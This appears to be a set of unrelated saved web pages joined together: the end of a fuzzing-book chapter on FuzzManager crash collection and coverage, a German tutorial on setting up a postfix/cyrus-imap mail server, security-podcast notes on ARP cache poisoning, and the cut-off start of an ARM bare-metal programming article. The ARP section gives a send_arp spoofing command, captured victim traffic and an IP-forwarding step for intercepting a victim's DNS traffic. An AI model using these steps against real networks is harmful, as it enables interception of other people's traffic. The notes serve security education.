    remote: Counting objects: 100% (22/22), done.
    remote: Compressing objects: 100% (16/16), done.
    remote: Total 22 (delta 9), reused 15 (delta 6), pack-reused 0
    Unpacking objects: 100% (22/22), done.
    
[/code]

[code]

    !python3 FuzzManager/server/manage.py setup_repository simply-buggy GITSourceCodeProvider $HOME/simply-buggy-server
    
[/code]

[code]

    Successfully created repository 'simply-buggy' with provider 'GITSourceCodeProvider' located at /Users/zeller/simply-buggy-server
    
[/code]

We now assume that we know some of the magic constants \(like in practice, we
sometimes know some things about the target, but might miss a detail\) and we
fuzz the program with that:

[code]

    import random
    import subprocess
    
[/code]

[code]

    random.seed(0)
    cmd = ["simply-buggy/maze"]
    
    constants = [3735928559, 1111638594]; 
    
    TRIALS = 1000
    
    for itnum in range(0, TRIALS):
        current_cmd = []
        current_cmd.extend(cmd)
    
        for _ in range(0,4):
            if random.randint(0, 9) < 3:
                current_cmd.append(str(constants[random.randint(0, len(constants) - 1)]))
            else:
                current_cmd.append(str(random.randint(-2147483647, 2147483647)))
    
        result = subprocess.run(current_cmd, stderr=subprocess.PIPE)
        stderr = result.stderr.decode().splitlines()
        crashed = False
    
        if stderr and "secret" in stderr[0]:
            print(stderr[0])
    
        for line in stderr:
            if "ERROR: AddressSanitizer" in line:
                crashed = True
                break
    
        if crashed:
            print("Found the bug!")
            break
    
    print("Done!")
    
[/code]

[code]

    You found secret 1
    You found secret 1
    You found secret 1
    You found secret 1
    You found secret 1
    Done!
    
[/code]

As you can see, with 1000 runs we found secret 1 a few times, but secret 2
\(and the crash\) are still missing. In order to determine how to improve
this, we are now going to look at the _coverage data._

We use Mozilla's `grcov` tool to capture graphical coverage information.

[code]

    !export PATH=$HOME/.cargo/bin:$PATH; grcov simply-buggy/ -t coveralls+ --commit-sha $(cd simply-buggy && git rev-parse HEAD) --token NONE -p `pwd`/simply-buggy/ > coverage.json
    
[/code]

[code]

    !python3 -mCovReporter --repository simply-buggy --description "Test1" --submit coverage.json
    
[/code]

We can now go to the FuzzManager coverage page to take a look at our source
code and its coverage.

[code]

    gui_driver.get(fuzzmanager_url + "/covmanager")
    
[/code]

[code]

    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3352.png' width='622' height='322' />

Click on the first ID to browse the coverage data that you just submitted.

[code]

    first_id = gui_driver.find_element_by_xpath('//td/a[contains(@href,"/browse")]')
    first_id.click()
    time.sleep(1)
    
[/code]

[code]

    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3354.png' width='622' height='322' />

You will first see the full list of files in the `simply-buggy` repository,
with all but the `maze.cpp` file showing 0% coverage \(because we didn't do
anything with these binaries since we rebuilt them with coverage support\).
Now click on `maze.cpp` and inspect the coverage line by line:

[code]

    maze_cpp = gui_driver.find_element_by_xpath("//*[contains(text(), 'maze.cpp')]")
    maze_cpp.click()
    time.sleep(1)
    
[/code]

[code]

    gui_driver.set_window_size(1400, 1400)
    Image(gui_driver.get_screenshot_as_png())
    
[/code]

<img src='img/Temp2_3356.png' width='622' height='589' />

Lines highlighted in _green_ have been executed; the number in the green bar
on the left tells how many times. Lines highlighted in _red_ have _not_ been
executed. There are two observations to make:

  1. The if-statement in Line 34 is still covered, but the lines following after it are red. This is because our fuzzer misses the constant checked in that statement, so it is fairly obvious that we need to add to our constants list.
  2. From Line 26 to Line 27 there is a sudden drop in coverage. Both lines are covered, but the counters show that we fail that check in more than 95% of the cases. This explains why we find secret 1 so rarely. If this was a real program, we would now try to figure out how much additional code is behind that branch and adjust probabilities such that we hit it more often, if necessary.

Of course, the `maze` program is so small that one could see these issues with
the bare eye. But in reality, with complex programs, it seldom obvious where a
fuzzing tool gets stuck. Identifying these cases can greatly help to improve
fuzzing results.

For the sake of completeness, let's rerun the program now with the missing
constant added:

[code]

    random.seed(0)
    cmd = ["simply-buggy/maze"]
    
    constants = [3735928559, 1111638594, 3405695742]; # Added the missing constant here
    
    for itnum in range(0,1000):
        current_cmd = []
        current_cmd.extend(cmd)
    
        for _ in range(0,4):
            if random.randint(0, 9) < 3:
                current_cmd.append(str(constants[random.randint(0, len(constants) - 1)]))
            else:
                current_cmd.append(str(random.randint(-2147483647, 2147483647)))
    
        result = subprocess.run(current_cmd, stderr=subprocess.PIPE)
        stderr = result.stderr.decode().splitlines()
        crashed = False
    
        if stderr:
            print(stderr[0])
    
        for line in stderr:
            if "ERROR: AddressSanitizer" in line:
                crashed = True
                break
    
        if crashed:
            print("Found the bug!")
            break
    
    print("Done!")
    
[/code]

[code]

    You found secret 1
    You found secret 2
    Found the bug!
    Done!
    
[/code]

As expected, we now found secret 2 including our crash.

## Lessons Learned¶

  * When fuzzing \(a\) with several machines, \(b\) several programs, \(c\) with several fuzzers, use a _crash server_ auch as _FuzzManager_ to collect and store crashes.
  * Crashes likely to be caused by the same failure should be collected in _buckets_ to ensure they all can be treated the same.
  * Centrally collecting _fuzzer coverage_ can help revealing issues with fuzzers.

We're done, so we clean up:

[code]

    fuzzmanager_process.terminate()
    
[/code]

[code]

    gui_driver.quit()
    
[/code]

[code]

    import shutil
    
[/code]

[code]

    for temp_file in ['coverage.json', 'geckodriver.log', 'ghostdriver.log']:
        if os.path.exists(temp_file):
            os.remove(temp_file)
    
[/code]

[code]

    home = os.path.expanduser("~")
    for temp_dir in ['coverage', 'simply-buggy', 'simply-buggy-server', 
                     os.path.join(home, 'simply-buggy-server'),
                    'FuzzManager']:
        if os.path.exists(temp_dir):
            shutil.rmtree(temp_dir)
    
[/code]

## Next Steps¶

In the next chapter, we will learn how to

  * estimate how many bugs remain in the code and when we have tested enough.

## Background¶

This chapter builds on the implementation of FuzzManager. Its Github page
contains plenty of additional information on how to use it.

The paper "What makes a good bug report?" \[Bettenburg _et al_ , 2008.\] lists
essential information that developers expect from a bug report, how they use
this information, and for which purposes.

## Exercises¶

### Exercise 1: Automatic Crash Reporting¶

Create a Python function that can be invoked at the beginning of a program to
have it automatically report crashes and exceptions to a _FuzzManager_ server.
Have it track program name \(and if possible, outputs\) automatically; crashes
\(exceptions raised\) should be converted into ASan format such that
_FuzzManager_ can read them.

Use the notebook to work on the exercises and see solutions.

<img src='img/4407_88x31.png' width='88' height='31' /> The content of this
project is licensed under the Creative Commons Attribution-NonCommercial-
ShareAlike 4.0 International License. The source code that is part of the
content, as well as the source code used to format and display that content is
licensed under the MIT License. Last change: 2019-05-07 09:36:06+02:00 • Cite
• Imprint

# mailserver \(postfix, cyrus imap, fetchmail\) - linuxforen.de -- User helfen
Usern

**Created:**| _2/7/2010 9:01:42 PM_  
---|---  
**Updated:**| _2/7/2010 9:01:42 PM_  
**Author:**| __  
**Tags:**| __  
  

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
\#\#\#\#\#\# mailserver-konfiguration \#\#\#\#\#\#  
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
\#  
\# copyright 2002 by mark patruck  
\#  
\#  
\# das tutorial bietet eine kurze einführung in die thematik und  
\# darauffolgend eine einfache anleitung zum aufsetzen eines  
\# mailservers \(smtp & imap\)  
\#  
\#  
\# begriffe:  
\# ---------  
\#  
\# mta = mail transfer agent  
\- der mta dient als "herz" des mailservers, empfängt mails und  
gibt diese wieder an andere mtas weiter \(bsp. postfix\)  
  
\# mda = mail delivery agent  
\- erhält vom mta mails, die an lokale user zugestellt werden,  
und kann komplexe filterregeln abarbeiten \(bsp. procmail\)  
  
\# mua = mail user agent \(kein direkter zusammenhang zum mailserver\)  
\- ermöglicht dem lokalen user mailzugriff \(bsp. pine, kmail\)  
  
\# smtp = simple mail transport protocol  
\- über dieses sehr einfache protokoll reichen sich mtas mails weiter  
  
\# pop3 = post office protocol \(version 3\)  
\- entwickelt für dial-up verbindungen; die mails werden direkt vom  
mua abgeholt  
  
\# imap = internet message access protocol \(version 4\)  
\- wesentlicher unterschied zu pop3 ist das belassen der mails auf dem  
mailserver; nachrichten gehen dadurch auch nach einer neuinstallation  
der clients nicht verloren  
  
  
\# ziel:  
\# -----  
\#  
\#  
\# empfangen:  
\#  
\# mails werden mit hilfe von fetchmail vom isp \(bsp. web.de\) abgeholt, mit  
\# hilfe von procmail gefiltert \(auf empfänger, absender...\) und
anschließend  
\# in virtuelle mailboxen verteilt  
\#  
\#  
\# senden:  
\#  
\# mails werden sowohl intern als auch extern per postfix versandt  
\#  
\#  
  
  
\# benötigte packete:  
\# -----------------  
\#  
\# - postfix  
\# - cyrus-imap  
\# - procmail  
\# - fetchmail  
\#  
\#  
\# nach erfolgreicher installation ->  
\#  
\#\#\#\#\#\# postfix | konfiguration \#\#\#\#\#\#   
\#  
\#\#\#\#\#\#\#\#\#  
\#  
\# hinweis:  
\# --------  
\# postfix liefert eine standard-"main.cf" die bei den meisten  
\# distributionen \(suse, redhat\) nach der installation bereits  
\# voll funktionsfähig ist \(internes & externes senden\). die  
\# folgenden punkte bzw. konfigurationsmöglichkeiten sollen den  
\# leser nicht abschrecken....viele variablen werden von postfix  
\# automatisch ermittelt, bzw. es werden default-einstellungen  
\# verwendet  
\# um auch die letzen, möglichen einstellungen selbst "in die hand"  
\# zu nehmen, sollte man sich die sample\*.cf-files durchlesen.  
\#  
\#\#\#\#\#\#\#\#\#  
\#  
\#  
\# main.cf \(meist unter /etc/postfix\)  
\#  
\# wichtig:  
\# --------  
\# von jedem konfigurationsfile eine sicherungskopie erstellen  
\# main.cf -> main\_default.cf  
\#  
\#  
\# variable  
\# \# erklärung  
\# +++++++++++++  
\#  
soft\_bounce = no  
\# "testmodus", bei dem mails durch falsche einstellungen nicht  
\# verworfen werden, sondern in der mailqueue bleiben.  
\# voreinstellung: deaktiviert \(no\)  
  
queue\_directory = /var/spool/postfix  
\# legt fest wo postfix wartende mails ablegt, also die warteschlange  
  
command\_directory = /usr/sbin  
\# hier liegen alle ausführbaren postxx \(postfix, postconf...\)files  
  
daemon\_directory = /usr/lib/postfix  
\# verzeichnis des postfix-daemons  
  
mail\_owner = postfix  
\# besitzer der postfix-prozesse; keinen user verwenden der schon auf  
\# dem system vorhanden ist.  
\# - jemanden, der keiner gruppe angehört  
\# - ..und keine weiteren rechte besitzt  
\# keinesfalls root verwenden  
\# eine gute wahl wäre "postfix"  
  
default\_privs = nobody  
\# es darf nicht root oder der "$mail\_owner" gewählt werden, sonst kommt es  
\# zu einer fehlermeldung.  
\# "nodody" ist die default einstellung  
  
myhostname = host.domain  
\# hostname des mailservers  
\# für einen lokalen mailserver sollte keine im internet vorhandene adresse  
\# verwendet werden; anstatt host.test.de -> host.test.int | int für intern   
  
mydomain = domain  
\# domain des mailservers; am einfachsten ist $myhostname ohne den ersten  
\# teil \(host\)  
  
myorigin = $myhostname  
\# abschnitt hinter dem "@"  
\# standardeinstellung ist $myhostname  
  
inet\_interfaces = all  
\# gibt die interfaces \(ethx\) an, für die postfix zuständig ist  
  
mydestination = $myhostname, localhost.$mydomain  
\# gibt an für welche domain dieser mailserver zuständig ist, sprich welchen  
\# in der domain vorhandenen rechner mails lokal ausgeliefert werden und  
\# wann sie an isps \(bsp. web.de\) weitergeleitet werden.  
\# sehr wichtig ist hierbei mindestens die standard-einstellung zu verwenden,  
\# da es sonst zu "mail delivery loops" kommt  
\# 1. $myhostname + 2. localhost.@domain  
  
mynetworks\_style = host  
\# netzwerke bzw. rechner die zugriff auf den mailserver haben  
  
mynetworks = 168.100.189.0/28, 127.0.0.0/8  
\# alternative methode zu "$mynetworks\_style"; hiermit werden ip-adressen der  
\# rechner angegeben, die vom mailserver akzeptiert werden  
\# es kann auch eine datei mit den aufgelisteten rechnern eingefügt werden  
\# bsp. /verzeichnis/datei  
\# bei verwendung von "$mynetworks" wird "mynetworks\_style" übersprungen  
  
relay\_domains = $mydestination  
\# definiert die domains für die postfix zuständig ist  
\# ähnlich "$mydestination" daher ist die standardeinstellung auch so  
  
relayhost = \[an.ip.add.ress\]  
\# host, an den der mailserver post schickt mit der er selbst nichts
anzufangen  
\# weiss; mails außerhalb der domain werden hierhin geleitet  
\# bsp. \[an.ip.add.ress\]:25  
  
mail\_name = postfix mailer-daemon  
\# welchen namen soll der mailer-daemon haben \(wird eine mail falsch
zugestellt,  
\# erhält der absender eine mail von unserem mailsystem  
  
  
  
  
\#\#\#\#\#\# cyrus imap | konfiguration \#\#\#\#\#\#   
\#  
\#\#\#\#\#\#\#\#\#  
\#  
\# hinweis:  
\# --------  
\# wie in der einleitung schon beschrieben, besitzt imap die fähigkeit mails
auf  
\# dem server zu belassen, wodurch man mails deutlich leichter archivieren
kann.  
\# nach einer neuinstallation baut man in seinem bevorzugten mua nur schnell
eine  
\# verbindung zum mailserver auf und hat sofort zugang zur mailbox und allen
darin  
\# enthaltenen mails. ein entscheidender grund sich für imap zu entscheiden  
\# warum ich mich speziell für den cyrus-server entschieden habe, liegt an
seiner  
\# hervorragenden performance. selbst die verwaltung von mehreren tausend
usern  
\# ist kein problem und man hat kontrolle über alle mailboxen \(berechtigungen
&  
\# speicherplatz pro userbox\)  
\#  
\#\#\#\#\#\#\#\#\#  
\#  
\#  
\# bevor wir beginnen muss überprüft werden ob cyrus-imap auch vom inet-daemon  
\# aufgerufen wird.  
\# inetd.conf zu finden unter /etc/inetd.conf sollte für imap so aussehen  
  
\# IMAP Mailservice  
imap stream tcp nowait cyrus /usr/cyrus/bin/imapd imapd  
  
\# die ändernungen werden erst nach einem "kill -HUP" der prozessID wirksam  
\# suse linux user restarten den daemon mit dem befehl "rcinetd restart"  
\# damit das imap protokoll auch im system bekannt ist, muss der eintrag  
\# "imap4 143/tcp" unter /etc/services vorhanden und wie in der inetd.conf  
\# auskommentiert sein.  
\#  
  
\# konfiguration der "imapd.conf"; meist in /etc zu finden  
\#  
\# wichtig:  
\# --------  
\# vor dem ändern...sicherungskopie erstellen  
\#  
\#  
configdirectory: /var/imap  
\# verzeichnis der imap-konfigurations-dateien  
\# eine gute wahl ist "/var/imap"  
  
partition\_default: /var/spool/imap  
\# gibt den namen der partition, auf der neue mailboxen abgelegt werden, an  
\# wichtig: nicht das verzeichnis angeben  
  
admins: cyrus  
\# benutzer die administrative rechte bezüglich des imap servers haben  
  
allowanonymouslogin: no  
\# sollen auch benutzer ohne authentifizierung admin-rechte haben?  
\# das umgehen der passwortabfrage wird nicht empfohlen  
  
reject8bit: no  
\# wenn "yes" werden alle 8bit-zeichen durch XXX ersetzt  
  
quotawarn: 90  
\# gibt eine warnung aus, wenn die mailbox zu x% voll ist  
\# hier würde der user bei 90% quota-auslastung benachrichtigt werden  
  
timeout: 30  
\# zeit in minuten, in der der server keine meldung mehr vom client erhält  
\# und daraufhin die verbindung "kappt". bei lokalen server sollte der  
\# "timeout" recht hoch eingestellt werden  
  
defaultacl: anyone lrs  
\# hiermit bekommt eine neu angelegte mailbox gleich bestimmte rechte  
\# übersicht aller rechte:  
\#  
l man kann die mailbox "abbonieren", der inhalt bleibt aber verborgen  
  
r mailbox kann "abboniert" werden und man erhält einsicht  
  
s sichert den status einer mail \(ungelesen, gelesen\)  
  
w man kann jetzt auch den status verändern  
  
i nun kann man mails einfügen, verschieben oder kopieren  
  
p möglichkeit mails an andere mailboxen zu senden  
  
c man kann unterverzeichnisse erstellen  
  
d mails oder mailboxen können gelöscht werden  
  
a administrator-rechte  
  
\# gängig sind:  
  
\("none"\) none der benutzer besitzt keine rechte  
\("lrs"\) read der benutzer darf den inhalt einer mails lesen  
\("lrsp"\) post der benutzer darf den inhalt lesen und an die mailbox senden  
\("lrsip"\) append der benutzer darf den inhalt lesen und an die mailbox
anhängen  
\("lrswipcd"\) write der benuzter darf alles, außer benutzerrechte ändern  
\("lrswipcda"\) all gegenteil zu "none"  
  
autocreatequota: 0  
\# soll eine neu erstellte mailbox automatisch einen festgelegten  
\# speicherplatz in kb bekommen  
\# bsp. 40000 = 40mb  
  
sasl\_pwcheck\_method: sasldb  
\# gibt an welche methode der server verwendet um user zu authentifizieren  
\# möglich sind: "sasldb", "kerberos\_v4", "passwd" und "shadow"  
\# die vorgestellte konfiguration macht gebrauch der "sasldb"  
  
  
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# weiter unten befindet sich ein einfaches
beispiel \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
  
  
\# als nächsten schritt weisen wir dem user "cyrus" ein passwort zu. dazu
folgender befehl  
\#  
saslpasswd cyrus  
-> passwort   
-> passwort-bestätigung   
  
\# wichtig\!\!  
\# eine mailbox setzt sich immer aus "user.mailboxname" zusammen  
  
\# ein kurzer überblick über die wichtigsten befehle und festlegen einer test-
mailbox  
  
\# aufbau:  
\# --------  
befehl -> befehl ausgeschrieben  
-> erklärung   
-> funktionsweise   
-> beispiel   
\#  
\#  
\# cm -> create mailbox  
-> erstelle ein mailbox in der unter "imapd.conf" festgelegten partition   
-> cm partition user.mailboxname   
-> cm user.test   
  
\# dam -> deleteaclmailbox  
-> lösche die berechtigungen der mailbox   
-> dam mailbox id   
-> dam user.test test   
  
\# disc -> disconnect  
-> verbindung zum cyrus server trennen   
-> disc   
-> disc   
  
\# dm -> deletemailbox  
-> lösche die gewählte mailbox   
-> dm mailbox   
-> dm user.test   
  
\# exit -> exit  
-> konfigurations-tool verlassen   
-> exit   
-> exit   
  
\# lam -> listaclamilbox  
-> berechtigungen der mailbox anzeigen   
-> lam user.mailbox   
-> lam user.test   
  
\# lm -> listmailbox  
-> zeigt die mailbox an \(ob vorhanden oder nicht\)   
-> lm user.mailbox \(nur "lm" zeigt alle mailboxen an\)   
-> lm user.test   
  
\# lqm -> listquotamailbox  
-> listet den belegten speicherplatz in kilobyte und prozent   
-> lqm user.mailbox   
-> lqm user.test   
  
\# renm -> renamemailbox  
-> mit "renm" kann man eine mailbox umbenennen   
-> renm user.mailbox user.mailboxneu   
-> renm user.test user.testneu   
  
\# sam -> setaclmailbox  
-> verändert die berechtigungen für die mailbox   
-> sam user.mailbox id rights   
-> sam user.test test post bzw. lrsp \(siehe oben\)   
  
\# sq -> setquota  
-> geben den platz in kilobyte für die mailbox an   
-> sq user.mailbox 40000   
-> sq user.test 40000   
  
  
  
\# komplettes beispiel für den user "test"  
\# ---------------------------------------  
  
\# einloggen  
host.domain> su cyrus  
host.domain> cyradm localhost  
-> passwort   
  
  
\# erstelle die mailbox test  
localhost> cm user.test  
  
  
\# wenn man keine automatische zuweisung des speicherplatzes gewählt hat  
\# bitte in kilobyte angeben:  
\# in diesem beispiel ist die mailbox test 40mb gross  
localhost> sq user.test 40000  
-> STORAGE 0/40000 \(0%\)   
  
\# überprüfen auf berechtigungen  
localhost> lam user.test  
test lrsp  
  
  
\# passwort für die mailbox festlegen  
localhost> exit  
cyrus@host:/root> exit  
host.domain> saslpasswd test \(name der mailbox ohne user.\)  
-> passwort   
-> passwort-bestätigung   
  
  
\# wichtig\!\! der administrator \(imapd.conf\) hat nicht von vornherein das
recht  
\# mailboxen zu löschen. er hat das recht "l" und "a", d.h er darf maximal die  
\# berechtigungen der mailboxen verändern.  
\# zurück zum thema: sollte man einmal eine mailbox löschen müssen, muss man  
\# sich selbst \(cyrus bzw. der wert der unter imapd.conf unter admins
eingetragen  
\# wurde\) rechte geben und zwar mit dem recht "d" für delete.  
  
\# mit diesem befehl fügen wir der mailbox den user cyrus \(admin\) hinzu und
geben  
\# ihm alle rechte  
localhost> sam user.test cyrus all  
  
\# mailbox test löschen  
localhost> dm user.test  
  
\# überprüfen ob die mailbox gelöscht wurde; user.test müsste weg sein  
localhost> lm  
  
  
  
\# gehen wir davon aus, dass die mailbox nicht gelöscht wurde, könnte man sie  
\# bereits in einem mua \(pine, kmail\) abbonieren.  
  
imap-server: ip des mailservers  
smtp-server: ip des mailservers  
username : test \(name der mailbox ohne user.\)  
passwort : passwort der mailbox \(vorhin mit saslpasswd festgelegt\)  
  
\# thats it\!  
  
  
  
\#\#\#\#\#\# fetchmail | konfiguration \#\#\#\#\#\#   
\#  
\#  
\# fetchmail ist ein hilfreiches tool um mails von isps zu fetchen  
\#  
\#  
\#  
\# funktionen von fetchmail  
\#  
\# übersicht:  
\# ----------  
\#  
poll server  
\# gibt den server an, von dem wir die mails holen  
  
protocol pop3  
\# gibt das protokoll an mit dem wird unsere mails abholfen \(i.d.r. pop3\)  
  
user testuser  
\# username für den account beim isp  
  
password geheim  
\# passwort für den account beim isp  
  
mda "application"  
\# damit können wir die mail an einen mail delivery agent \(mda\) weiterleiten  
\# in userem fall leiten wir "gefetchte" mails an procmail weiter  
  
keep  
\# damit können wir mails am server belassen  
  
silent  
\# informationen über den abruf der mails werden unterbunden  
  
  
\# einfaches beispiel:  
  
poll pop.web.de protocol pop3 user ich password geheim mda "/usr/bin/procmail
~/.procmailrc"  
  
\# erklärung:  
\# ----------  
\#  
\# es wird zum server pop.web.de kontakt aufgenommen und mit dem usernamen
"testuser"  
\# und dem passwort "geheim" authentifiziert. abgerufene \(gefetchte\) mails
werden an  
\# den mda procmail weitergeleitet; dabei wird ein vorgefertigtes script  
\# \(siehe "procmail | konfiguration" weiter unten\) verwendet, welches filterregeln enthält   
  
  
  
  
\#\#\#\#\#\# procmail | konfiguration \#\#\#\#\#\#   
\#  
\# wie schon bei der konfiguration von fetchmail muss auch hier eine datei mit
befehlen  
\# bzw. regeln erstellt werden  
\#  
\#  
\# grundlegendes zur regelerstellung in der procmailrc:  
\# ----------------------------------------------------  
\# die procmailrc hat die aufgabe eingehende mails zu filtern. verwendet
werden programme  
\# wie grep oder egrep, welche die mails auf reguläre ausdrücke durchsuchen  
  
\# aufbau  
  
:0 \[flags\]  
\[\* suchmuster\]  
anweisung  
  
  
\# einfaches beispiel:  
\# --------------------  
  
:0  
\* ^TO.\*test@test.de  
|/usr/cyrus/bin/deliver -a -m mailbox  
  
\# bei obigem beispiel werden alle mails die an test@test.de gehen \(To: und
Cc<img src='img/Temp2_10438.gif' /> mit dem  
\# programm "deliver" in die mailbox "mailbox" weitergeleitet werden.  
  
  
\# soll die mail nach der filterung nicht in die mailbox gelangen, sondern
beispielsweise  
\# an eine bestimmte e-mail-adresse gesendet werden, so ist folgendes beispiel
richtig  
  
:0  
\* ^Subject.\*wichtig  
\!wichtigemails@daheim.de  
  
  
\# sehr praktisch ist auch das filtern nach bestimmten grössen  
  
:0  
\* > 500000  
|/usr/cyrus/bin/deliver -a -m bigfiles  
  
\# alle mails grösser als 500 kbyte werden in die mailbox bigfiles delivered  
  
  
\# eine procmailrc sollte neben den eigentlichen regeln ebenfalls einen pfad  
\# zu einer logdatei enthalten, um fehlern schnell auf die spur zu kommen  
\#  
\# hier eine empfehlung:  
\# ---------------------  
  
\# procmailrc  
  
LOGFILE=/var/log/procmail  
  
\# ein regelbeispiel  
:0  
\* ^TO.\*test@test.de  
|/usr/cyrus/bin/deliver -a -m mailboxname \(ohne user.\)  
  
  
\# automatisierung für's mail abrufen  
\# -----------------------------------  
\#  
\# eine "feine" sache ist das automatisierte abrufen der mails  
\# dazu dient der cron-daemon, der zeitgesteuert befehle ausführen kann  
  
\# beispiel:  
\# ---------  
\#  
\# fetchmail soll alle 30 minuten mails von den isps \(eingetragen in der
fetchmailrc\)  
\# abrufen  
\# dazu öffnen wir "crontab" zu finden unter /etc  
\# wichtig: zeitgesteuerte kommandos können nur root oder user die spezielle
rechte  
\# haben, ausführen  
  
\#  
\# wichtige befehle  
  
crontab -  
l listet den inhalt der aktuellen crontab-datei auf  
r löscht die derzeitige crontab-datei  
e ruft eine editor auf; damit kann man eine neue crontab-datei erstellen  
  
\#  
  
\*/30 \* \* \* \* user\(normal root\) kommando  
  
1 2 3 4 5 6  
  
  
1\. minuten \(0-59\)  
2\. stunden \(0-23\)  
3\. tag des monats \(1-31\)  
4\. monat \(1-12\)  
5\. tag der woche \(0-6 wobei 0 für sonntag steht\)  
  
\# um zurück zu unserem automatisierten mailabholen zu kommen:  
\# folgender eintrag ist in der /etc/crontab zu machen um alle 30 minuten
mails abzuholen  
  
  
\*/30 \* \* \* \* root /usr/bin/fetchmail -a -v >> /var/log/fetchmail 2>&1 &&
/usr/bin/mailq -q  
  
  
\# damit werden alle 30 minuten mails abgerufen mit der option "-v" werden die
logs in die datei  
\# /var/log/fetchmail geschrieben und anschließend werden in der mailqueue
\(welche mails in der  
\# warteschlange sind kann man mit "mailq" überprüfen\) versandt  
\# mit hilfe der tabelle kann man leicht eigene zeitgesteuerte abrufe
erstellen  
  
  
  
\#\#\#\#\#\#\# ende \#\#\#\#\#\#\#  
\#  
\# somit sind wir am ende unserer mailserver-konfiguration. ich hoffe es war
verständlich und  
\# hat spass gemacht

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
liebe ist, auch nach bluescreens zu behaupten es gäbe keine alternative  

# Episode116 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:46:55 PM_  
---|---  
**Updated:**| _8/5/2009 12:47:03 PM_  
**Author:**| __  
**Tags:**| _security tools pauldotcom network-security Tutorials_  
  

# Tech Segment: Arp Cache Poisoning Notes

So, for some future technical segments I am researching the best ways in which
to Arp cache poison. Below are some interesting notes:

There is a cool program called send\_arp
\(http://insecure.org/sploits/arp.games.html\) which does arp cache poisoning.
Its pretty simple right, consider the following example:

  * DNS Server: 192.168.1.10
  * Attacker: 192.168.1.67
  * Victim: 192.168.1.61

[code]

    ./send_arp 192.168.1.10 00:1f:c6:7b:4e:a2 192.168.1.61 00:0c:6e:20:6b:4e
    
    
[/code]

In this example, 192.168.1.10 is our DNS server, followed by its Mac address.
192.168.1.61 is our victim, followed by its MAC address. The above command
sends the arp entry for 192.168.1.10 to 192.168.1.61. In my example, I am tell
the client "Hey, your DNS server's MAC address is really 00:1f:c6:7b:4e:a2".
This now means that all of that traffic will be forwarded to that mac address.
This works great, Windows is the target in my example, and its totally fooled.
If I fire up tcpdump, I can see the requests:

[code]

    16:17:24.561166 IP 192.168.1.61.2073 > 192.168.1.10.53: 3+ A? amazon.com. (28)
    16:17:24.561179 IP 192.168.1.61.2073 > 192.168.1.10.53: 3+ A? amazon.com. (28)
    
    
[/code]

However, from the client's perspective, things are not-so-happy. Why? Because
my attacking hosts IP addreess is not 192.168.1.10, so the IP stack has no
idea what to do with the packets. Essentially, we've spoofed layer 2 and
didn't tell layer 3. So, even if I am running a DNS server at this point, my
machine will not respond. It will only respond to IP traffic sent to
192.168.1.67, its assigned IP address. So, what most of us attacker type
people do is enable forwarding in the Linux kernel:

[code]

    echo "1" > /proc/sys/net/ipv4/ip_forward
    
    
[/code]

So now the Linux kernel will forward the traffic to 192.168.1.10, and the
client can then resolve names and the world is happy again. This works great
for intercepting traffic and packet sniffing. However, what do you do if you
want to manipulate DNS entries as they are going by? While further research is
needed to find the best way to do this on Linux \(I was hoping to receive
feedback on this one :\) Cain & Abel works great for this. They do APR \(Arp
Poison Routing\) which takes care of this routing layer. This allows you to
re-write the responses and change entries, screenshot below:

  
So how is this different from the DNS bug that Dan found? Arp cannot cross
layer 3 boundries, so you have to be on the same subnet as your victim.
However, if you are able to compromise the internal network, you can launch
this attack. There are several ways to mitigate, using tools such as arpwatch
and even snort has ways to monitor the Arp table. However, I've found that
most people do not configure these defenses. This can be a very subtle way to
control hosts on the network, and next week we will explore some attacks that
will build on this segment.

[code]

    Below are some tools that enable you to do this as well:
    
    
[/code]

  * dsniff - The "arpspoof" command will let you do this.
  * Cain & Abel - A Windows-based tool that will let you do this as well.

# The Resistor Network: ARM Bare Metal Programming

**Created:**| _10/1/2013 8:04:19 AM_  
---|---  
**Updated:**| _10/1/2013 8:04:19 AM_  
**Author:**| __  
**Tags:**| _arm_  
  

### ARM Bare Metal Programming

Embedded systems programming has been a passion of mine for a couple of years
now. I really enjoy bringing a processor online and making it dance to the
beat of my drum. Over the past few days I have taken an interest in writing my
own linker scripts, start code and a CRT0 \(C Runtime\). In this article I
will give you some background as to why this is important. I will guide you
through the steps that I have taken to bring an ARM processor from reset to
main\(\) and beyond.  
  
I am using the SAM4E16E processor on a SAM4E-EK development board. I have the
Atmel SAM-ICE debugging tool to facilitate loading code. The steps that I am
taking in this article will be very similar for other ARM processors. I did
some bare metal programming on the Raspberry Pi about a year ago and it was
similar. My development host is an up to date Linux Mint 15 system.  
  
<img src='img/Temp2_8281.jpg' width='640' height='425' />  
---  
Debugger \(front\) and Evaluation Kit \(back\)  
<img src='img/Temp2_8283.jpg' width='640' height='426' />  
---  
SAM-ICE and SAM4E-EK  
###  Toolchain

  

<img src='img/Temp2_8280.jpg' width='160' />I have used the arm-none-eabi-gcc
toolchain available from the GNU Tools for ARM Embedded Processors. I am using
this alternate PPA because it supports more versions of Ubuntu \(and by
extension, Mint\) but is based on the same source tree.

Follow these steps in a shell to install the arm-none-eabi toolchain.

?

123| `sudo` `add-apt-repository ppa:terry.guo``/gcc-arm-embedded``sudo` `apt-
get update``sudo` `apt-get ``install` `gcc-arm-none-eabi`  
---|---  
####  Compilation/Linking

  

In this section I will give you some background information about compilation
and linking. From this simplified discussion, you will understand why a linker
script is necessary.

  

####  The Anatomy of a Relocatable Object

  

<img src='img/Temp2_8282.jpg' width='180' />  
---  
Anatomy  
There are numerous steps involved in compiling a C program. The first few
steps include preprocessing, tokenization, syntax checking, building a symbol
tree and more. Once the compiler has built an architecture-independent
representation of your program it will create a relocatable object that
contains the necessary instructions to implement your program.  
  
I will present a simple program to show the various sections within an object
file.

?

12345678910111213141516| `/*`` ``* Sample Program to Demonstrate Object
Sections`` ``*/` `#include <stdint.h>` `uint32_t i = 0x00; ``// .bss``uint32_t
j; ``// .bss``uint32_t k = 100; ``// .data``char` `*phrase = ``"Andrew
Rossignol"``; ``// .rodata` `int` `main(``void``) { ``// .text (all executable
